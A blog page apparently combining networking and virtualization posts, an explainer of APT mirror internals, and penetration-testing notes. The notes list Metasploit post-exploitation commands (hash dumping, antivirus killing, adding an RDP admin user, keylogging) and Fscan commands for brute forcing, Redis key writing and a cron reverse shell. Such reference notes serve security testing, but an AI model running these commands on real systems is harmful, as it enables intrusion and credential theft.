【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

首先我们要搞清楚一个问题,Wireguard和OpenVPN的区别在哪里

  1. Wireguard基于UDP协议,继承于内核中,由于加密协议简单(但安全),开销较小,性能较高
  2. OpenVPN基于TCP或UDP协议,由SSL/TLS实现身份加密,没有Wireguard效率高,但是支持多种管理方式

在实际使用上,TCP和UDP也有较大区别

  1. TCP:可以提供更可靠的连接,因为它具有确认和重传机制,能够处理丢包和错误。适用于对数据完整性和可靠性要求较高的场景。
  • UDP:UDP可以提供更快的速度和较低的延迟,适用于实时应用程序和视频流等对延迟敏感的情况。UDP模式还可以避免TCP拥塞控制的限制,适用于高带宽环境

  • UDP在实际使用上可能会被QOS限速,但是在长距离、高延迟的VPN环境中还是可以发挥不错的效果,不容易出现TCP经常断连的情况。

    实现方案

    在某个实际应用场景中,我需要将在B地不同地区访问位于A地的局域网,A地与B地物理相隔较远并且网络条件较差,但是对业务实时性没有太多要求,并且A地存在NAT

    方案一

    全部走OpenVPN,对A-B两地互联的机器使用UDP协议,确保可以通讯
    B地对B地其他地区使用TCP协议,确保连接稳定性
    方案一可以参考
    Windows上使用OpenVPN实现于异地访问公司内网资源(Tunnel方式、公网服务器frp转发)

    方案二

    在A-B两地之间使用Wireguard
    在B地服务器是用OpenVPN供B地其他地区使用
    网络结构如下

    A地内网<--->A地服务器<- Wireguard-UDP ->B地服务器<- OpenVPN TCP/UCP ->B地其他地区用户
    

    两方案相比,方案一更加简单,但是没有方案二稳定,并且AB两地如果存在高带宽情况用OpenVPN可能会消耗大量资源,在技术难度上方案二要设置转发,需要对两个VPN进行分别配置
    最终选择方案二进行

    继续阅读【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

    Hyper-V与VMware的区别与共存

    Hyper-V

    Hyper-V,代号Viridian,旧称Windows Server Virtualization,是Microsoft的本地虚拟机管理程序,它可以在运行x86-64位的Windows上创建虚拟机。从Windows 8开始,Hyper-V取代Windows Virtual PC作为Windows客户端版本的硬件虚拟化组件。可以配置运行Hyper-V的服务器计算机能够将单个虚拟机公开到一个或多个网络。Hyper-V是与Windows Server 2008一起首次发布,自Windows Server 2012和Windows 8以来一直无需额外付费。独立的Windows Hyper-V Server是免费的,但仅具有命令行接口。

    省流:Hyper-V是微软自己系统的虚拟化工具

    VMware

    Vmware是一家提供云计算和硬件虚拟化的软件和服务的公司。

    下列的Vmware部分代指Vmware Workstation
    VMware Workstation是VMware公司销售的商业软件产品之一。该工作站软件包含一个用于英特尔x86兼容电脑的虚拟机套装,其允许用户同时创建和运行多个x86虚拟机。每个虚拟机可以运行其安装的操作系统,如(但不限于)Windows、Linux、BSD变生版本。用简单术语来描述就是,VMware Workstation允许一台真实的电脑在一个操作系统中同时开启并运行数个操作系统,其它VMware产品帮助在多个宿主电脑之间管理或移植VMware虚拟机。免费版本为VMware Workstation Player。
    VMware Fusion是VMware针对Mac电脑推出的一款虚拟机软件。

    省流:Vmware是针对商业化使用的虚拟化软件

    Hyper-V VS VMware

    Hyper-V的优势

    1. Windows 8及以上专业版自带,无需下载安装即可免费使用(开箱即用)
    2. 虚拟磁盘采用的是vhd/vhdx格式,可以直接挂载到Windows上读取文件(假如是Linux的话还是不可以的)
    3. 动态资源调度,可以动态调度内存和CPU,自动分配资源。
    4. 挂起速度快,检查点效率较高

    VMware的优势

    1. 可以动态调整窗口大小(需要安装open-vm-tools)
    2. 可以宿主机和虚拟机复制粘贴文件
    3. 可以直通USB设备(U盘、网卡、蓝牙之类的)
    4. 可以通过vmware-tools调用GPU,DirectX11及以上版本可以调用主机显卡(Vulkan在VMware Workstation 17是支持的)
    5. 支持更多操作系统,可以一键安装

    Hyper-V和VMware结构区别

    借用知乎老哥的一张图

    省流1:开了Hyper-V的Windows实际上的相当于是运行在Hyper-V中的虚拟化Windows,即Type1中的GuestOS VM。
    省流2:使用VMware是在系统层上跑的虚拟化软件,实际上相当于Type2中的Hypervisor

    所以开了Hyper-V后,Windows性能会有一定降低,而Vmware是运行在Host OS(宿主机系统)上的一个虚拟化软件,效率相对来说更高
    (经过更新优化,现在Hyper-V性能降低感知不明显)

    由于兼容性问题,两个Hypervisor层是不能共存的,这也就造成了Hyper-V系统和VMware不能同时使用。
    于是VMware想了个招,将自己套在了Hyper-V中,再使用里面的资源虚拟化,这样就解决了Hyper-V和VMware共存的问题了。
    (从Vmware15开始官方就解决了共存问题)
    结构类似下图

    由于现在Windows很多方便的功能如WSL(Linux 的 Windows 子系统),WSA(Android 的 Windows 子系统),Docker on desktop都需要用到Hyper-V技术,这也就让VMware嵌套一层Hyper-V变得无可厚非

    更加详细的可以看Revercc’s Blog的内容

    Hyper-V与VMware的共存

    由于Hyper-V虚拟机再开启了Hyper-V的情况下,相对于VMware有更好的资源调度优势,运行需要高性能的应用时有一定优势,而VMware在用户界面、管理、体验上均优于Hyper-V,也成为平时使用的首选,可以经过设置在VMware和Hyper-V共享使用虚拟机
    下列以Kali Linux为例
    首先我们确保虚拟机的Secure Boot是关闭状态,并且磁盘格式为VHD格式,如果不是的话请用工具将其转化为VHD格式

    Hyper-V Manager里面既可以实现VHD格式和VHDX格式的相互转换
    记住这边的Firmware框起来的设置,后面会有用的

    在转换之后记得将虚拟机的磁盘修改为VHD格式

    在VMware新建虚拟机,并且选择挂载你刚刚转换的VHD磁盘


    Version和Firmware Type要选对应的那个
    如果是BIOS启动的话应该可以直接使用了,但是如果是UEFI要进行其他的设置
    开机按F2进入Boot Manager

    Enter setup->Configure boot options->Add boot option->选择你的磁盘和文件(找回上面你Hyper-V的图,一般为第一个)


    找到你的EFI文件并且选择Commit changes and exit
    再进入Configure boot options->Change boot order修改启动顺序,保存重启即可

    然后两边都可以进入系统,两边都能正常使用了
    在进入VMware后记得安装相关vmware-tools才能使用自动调节分辨率,调用GPU等一些相关功能

    sudo apt update
    sudo apt install open-vm-tools -y
    

    开始快乐使用VMware的各种功能而又可以充分利用Hyper-V的高性能咯

    APT源的工作原理

    引言

    最近在折腾自己学校的镜像源,看到差不多20T的硬盘都被塞满了,我是很好奇系统是如何管理这些文件的,于是顺便就研究下APT源的工作原理

    原理

    在Ubuntu/Debian等系统下,常见的应用安装方式为apt/apt-get
    前者可以说是后者的升级版,提供了更友好的命令行界面,包含了apt-get和apt-cache等常用功能,本质上都是基于dpkg的高级包管理工具。
    Ubuntu/Debian采用集中式的软件仓库机制,将各式各样的软件包分门别类地存放在软件仓库中,进行有效地组织和管理。由于网络环境的问题,我们可能无法正常访问官方的软件仓库,所以许多镜像服务器被建立,并且时刻保持与官方服务器的同步。在使用apt之前,我们一般都会进行换源处理【脚本】Linux换源汇总
    换源主要是修改位于/etc/apt/source.list的源文件,这个文件记录了可获取软件包的镜像站的站点地址。
    我们将在其中加入自己的镜像源地址,下列是一个案例

    deb http://mirrors.szu.moe/ubuntu jammy main restricted
    # deb-src http://mirrors.szu.moe/ubuntu jammy main restricted
    deb http://mirrors.szu.moe/ubuntu jammy-updates main restricted
    # deb-src http://mirrors.szu.moe/ubuntu jammy-updates main restricted
    deb http://mirrors.szu.moe/ubuntu jammy universe
    # deb-src http://mirrors.szu.moe/ubuntu jammy universe
    deb http://mirrors.szu.moe/ubuntu jammy-updates universe
    # deb-src http://mirrors.szu.moe/ubuntu jammy-updates universe
    deb http://mirrors.szu.moe/ubuntu jammy multiverse
    # deb-src http://mirrors.szu.moe/ubuntu jammy multiverse
    deb http://mirrors.szu.moe/ubuntu jammy-updates multiverse
    # deb-src http://mirrors.szu.moe/ubuntu jammy-updates multiverse
    deb http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
    # deb-src http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
    deb http://mirrors.szu.moe/ubuntu jammy-security main restricted
    # deb-src http://mirrors.szu.moe/ubuntu jammy-security main restricted
    deb http://mirrors.szu.moe/ubuntu jammy-security universe
    # deb-src http://mirrors.szu.moe/ubuntu jammy-security universe
    deb http://mirrors.szu.moe/ubuntu jammy-security multiverse
    

    镜像源地址遵循以下格式

    DebType AddressType://Hostaddress/ubuntu Distribution Component1 Component2.....
    

    其中各字段含义如下所示。
    1. DebType表示Deb软件包类型,使用deb表示二进制软件包,使用deb-src表示源码包;
    对于大部分用户来说,二进制软件包即可完成安装,二进制软件包会被安装在系统的默认目录下(usr/share和usr/bin)。而源码包需要自己编译安装,但可以自己指定安装位置。
    源码可以通过apt-get source PackageName获得,以下是源码安装的一个例子(g2o)

    cd g2o
    mkdir build && cd build
    cmake ..
    make -j8 -DCMAKE_INSTALL_PREFIX=/usr/local/g2o/
    sudo make install
    
    1. AddressType表示访问地址类型,常用类型有:http、https、ftp、file、cdrom、ssh等;
      目前一般镜像源支持前两个,ftp少部分支持。
    2. Distribution表示Ubuntu的各个发行版本,例如dapper、feisty;
      本样例中jammy代表Ubuntu 22.04 LTS版本的代号
      其中-security(安全相关)、-proposed(测试版)、-updates(更新相关)、-backports(向后移植/兼容)
    3. Component表示软件包组件类别,是由技术支持程度不同而划分的类别,可选择main、restricted、universe和multiverse中的一种或多种。
      main:完全的自由软件。
      restricted:不完全的自由软件。
      universe:ubuntu官方不提供支持与补丁,全靠社区支持。
      muitiverse:非自由软件,完全不提供支持和补丁。

    软件源配置文件只是告知系统可以访问的镜像站点地址,但那些镜像站点具体都拥有什么软件资源并不清楚。若每安装一个软件包,就在服务器上寻找一遍,效率是很低的。因而镜像源提供了索引文件,以便本地主机查询apt update即更新索引文件

    root@aurora-rsync:/home/aurora# apt update
    Get:1 http://mirrors.szu.moe/ubuntu jammy InRelease [270 kB]
    Hit:2 http://mirrors.szu.moe/ubuntu jammy-updates InRelease
    Hit:3 http://mirrors.szu.moe/ubuntu jammy-backports InRelease
    Hit:4 http://mirrors.szu.moe/ubuntu jammy-security InRelease
    Fetched 270 kB in 1s (372 kB/s)
    Reading package lists... Done
    Building dependency tree... Done
    Reading state information... Done
    root@aurora-rsync:/home/aurora# cat /var/log/nginx/access.log
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy/InRelease HTTP/1.1" 200 270087 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-updates/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-backports/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    

    对于update,会根据源的相关设置访问/ubuntu/dists/(设置的Distribution)/InRelease的文件,这个也是一个索引,记录了有哪些相应平台的包存储在服务器上

     b96c0cfe911414e1b7f2df5c88844369          1192665 main/binary-amd64/Packages.gz
     84a735928def889314d9d28d0819425c          1068823 main/binary-arm64/Packages.gz
     6a1ab8e4d5aa235c81e2e036e01e9926           775999 main/binary-armhf/Packages.gz
     8d8471fdecfb661f6580df6096a53c6a           570121 main/binary-i386/Packages.gz
     3a43d2dda28cf2e7e1d885484a1ce249           732797 main/binary-ppc64el/Packages.gz
     8ac0edaecf66d4bd0631294a7908154b           690004 main/binary-riscv64/Packages.gz
     fb78c7c1b05b2dba72b8ec6d99bb6462           717683 main/binary-s390x/Packages.gz
    

    系统会根据自己的平台下载相应的包索引,本平台为amd64,所以访问main/binary-amd64/Packages.gz下载
    下列出的是其中的一部分,索引中包含如下信息
    包名,优先级,类型,维护者,架构,源文件(source),版本号,依赖包,冲突性信息,包大小,文件的下载路径,MD5sum,SHA1,包描述,Xul-Appid—应用程序id,Bugs信息,Origin,Supported

    ......
    Package: accountsservice
    Architecture: amd64
    Version: 22.07.5-2ubuntu1.3
    Priority: optional
    Section: gnome
    Origin: Ubuntu
    Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
    Original-Maintainer: Debian freedesktop.org maintainers <pkg-freedesktop-maintainers@lists.alioth.debian.org>
    Bugs: https://bugs.launchpad.net/ubuntu/+filebug
    Installed-Size: 500
    Depends: dbus (>= 1.9.18), libaccountsservice0 (= 22.07.5-2ubuntu1.3), libc6 (>= 2.34), libglib2.0-0 (>= 2.63.5), libpolkit-gobject-1-0 (>= 0.99)
    Recommends: default-logind | logind
    Suggests: gnome-control-center
    Filename: pool/main/a/accountsservice/accountsservice_22.07.5-2ubuntu1.3_amd64.deb
    Size: 69728
    MD5sum: a2acf0a225e2c30ccb985a66a4dfb848
    SHA1: 1c2b73bc5c72bc44cade5ef6fa444dbea1ea69ec
    SHA256: f8ed006eb680e9d8a9b55af88b3786f6892d6d2764586ec4853cf954da119596
    SHA512: 9496d225169db5524f7bf9c0fb1cbdfac3ab6261b4725ed56c282d5865678881c8841c539a5b87182306ed66dcc9225a15986083dc72cf7433a30bf601507cc7
    Homepage: https://www.freedesktop.org/wiki/Software/AccountsService/
    Description: query and manipulate user account information
    Task: ubuntu-desktop-minimal, ubuntu-desktop, ubuntu-desktop-raspi, kubuntu-desktop, xubuntu-core, xubuntu-desktop, lubuntu-desktop, ubuntustudio-desktop-core, ubuntustudio-desktop, ubuntukylin-desktop, ubuntu-mate-core, ubuntu-mate-desktop, ubuntu-budgie-desktop, ubuntu-budgie-desktop-raspi
    Description-md5: 8aeed0a03c7cd494f0c4b8d977483d7e
    ......
    

    然后apt再将Packages.gz里面的信息以某种数据结构形式导入本地数据库以便快速查找,即完成了
    “`apt update“`的一系列操作
    其后的`apt install`会借助上述Depends信息自动安装相关依赖,而源码安装则需要自己配置依赖了,所以现在十分不推荐使用

    题外话

    二进制安装好像是最近(2016年)才开始流行的,可能是因为计算和存储能力有了阶段性提升。Python也采用的是二进制安装与编译安装相结合的方式,二进制安装会从源上下载一个whl后缀的文件,whl格式本质上是一个压缩包,里面包含了py文件,以及经过编译的pyd文件。使得可以在不具备编译环境的情况下,选择合适自己的python环境进行安装。
    二进制安装更加简单和快速,不需要用户花费时间和精力去编译源代码,处理编译过程中出现的错误和问题,考虑不同的编译器和命令,也不需要用户管理不同的依赖库。与之相对应的会占用服务器资源(编译源代码),以及存储不同平台的二进制文件。

    奇思妙想?

    根据上述结论,我们可以通过修改APT源中的Packages.gz文件,在其中添加/修改某些包地址,使其变成恶意文件,如果没有相关签名/校验环节,理论上我们可以完成一次供应链攻击。
    所以一般来说要使用足够信任的源,具体实现有待测试。
    Todo:APT源实现供应链攻击

    【渗透工具】DNSLOG搭建

    Dnslog相信渗透的都不陌生,但我只是在Apache Log4j后才意识到这东西是有多好用
    但是有些时候,知名的dnslog.cn网站就会崩溃。
    既然这样,干脆就自己搭一个,但是过程十分艰辛。
    由于我设置了@*解析,我就不需要再对ns1.xxx.cn/ns2.xxx.cn进行解析
    具体如下


    然后我们就接着物色dnslog平台
    一个非常古老的BugScanTeam的DNSLOG
    于是乎,调了好久,6年前的代码,还要改cdn,还要改ssl(开发组历史遗留问题)
    最后改完了,发现一直301,查看issue才发现要修改

    SECURE_SSL_REDIRECT = False

    然而,无论怎么修改数据库,还是进不去他的管理界面!
    之后只好另谋出路,最后找到这个
    编译好的GO语言的DNSLOG
    再配上万能的堡塔和Nginx反代

    在经历了2h的磨难后

    对了最后记得开放UDP53端口(DNS服务)
    开始休息了~

    【渗透工具】MSFCONSOLE控制台使用和操作

    Metasploit一款开源安全漏洞检测工具,其不断更新的Payload使其成为了最强大的渗透框架之一
    对于MSFCONSOLE(简称MSF),就不多赘述安装部署了,对于日常渗透使用一般可以再Viper中使用。
    常见参数解读:

    -p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
    -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, –nopsled < length> 为payload预先指定一个NOP滑动长度
    -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
    -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
    -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
    –platform < platform> 指定payload的目标平台
    -s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
    -b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
    -i, –iterations < count> 指定payload的编码次数
    -c, –add-code < path> 指定一个附加的win32 shellcode文件
    -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
    -k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
    –payload-options 列举payload的标准选项
    -o, –out < path> 指定创建好的payload的存放位置
    -v, –var-name < name> 指定一个自定义的变量,以确定输出格式
    –shellest 最小化生成payload
    -h, –help 查看帮助选项
    –help-formats 查看msf支持的输出格式列表

    查看所有payloads

    --list payloads

    使用msfvenom --list encoders可查看所有编码器
    还有一些小应用

    run hashdump #获取windows密码hash
    #关闭杀软
    run killav
    run post/windows/manage/killav
    #操控远程桌面
    run post/windows/manage/enable_rdp
    run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
    #键盘捕捉(Viper有功能)
    keyscan_start:开启键盘记录功能
    keyscan_dump:显示捕捉到的键盘记录信息
    keyscan_stop:停止键盘记录功能

    【渗透工具】Fscan

    Github仓库
    Fscan是一款内网综合扫描工具,以下为常用命令

    fscan -h 0.0.0.0/8 (全网段扫描)
    fscan -h 192.168.1.1/24  (默认使用全部模块)
    fscan -h 192.168.1.1/16  (B段扫描)
    其他用法
    fscan -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
    fscan -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
    fscan -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
    fscan -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
    fscan -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
    fscan -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
    fscan -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
    fscan -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
    fscan -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
    fscan -h 192.168.1.1/24 -m ms17010 (指定模块)
    fscan -hf ip.txt  (以文件导入)
    fscan -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)

    具体什么时候使用呢!什么时候都可以!尤其是目标机器连python都跑不起来的时候还怎么渗透内网~

      -c string
            ssh命令执行
      -cookie string
            设置cookie
      -debug int
            多久没响应,就打印当前进度(default 60)
      -domain string
            smb爆破模块时,设置域名
      -h string
            目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
      -hf string
            读取文件中的目标
      -hn string
            扫描时,要跳过的ip: -hn 192.168.1.1/24
      -m string
            设置扫描模式: -m ssh (default "all")
      -no
            扫描结果不保存到文件中
      -nobr
            跳过sql、ftp、ssh等的密码爆破
      -nopoc
            跳过web poc扫描
      -np
            跳过存活探测
      -num int
            web poc 发包速率  (default 20)
      -o string
            扫描结果保存到哪 (default "result.txt")
      -p string
            设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
      -pa string
            新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
      -path string
            fcgi、smb romote file path
      -ping
            使用ping代替icmp进行存活探测
      -pn string
            扫描时要跳过的端口,as: -pn 445
      -pocname string
            指定web poc的模糊名字, -pocname weblogic
      -proxy string
            设置代理, -proxy http://127.0.0.1:8080
      -user string
            指定爆破时的用户名
      -userf string
            指定爆破时的用户名文件
      -pwd string
            指定爆破时的密码
      -pwdf string
            指定爆破时的密码文件
      -rf string
            指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
      -rs string
            redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
      -silent
            静默扫描,适合cs扫描时不回显
      -sshkey string
            ssh连接时,指定ssh私钥
      -t int
            扫描线程 (default 600)
      -time int
            端口扫描超时时间 (default 3)
      -u string
            指定Url扫描
      -uf string
            指定Url文件扫描
      -wt int
            web访问超时时间 (default 5)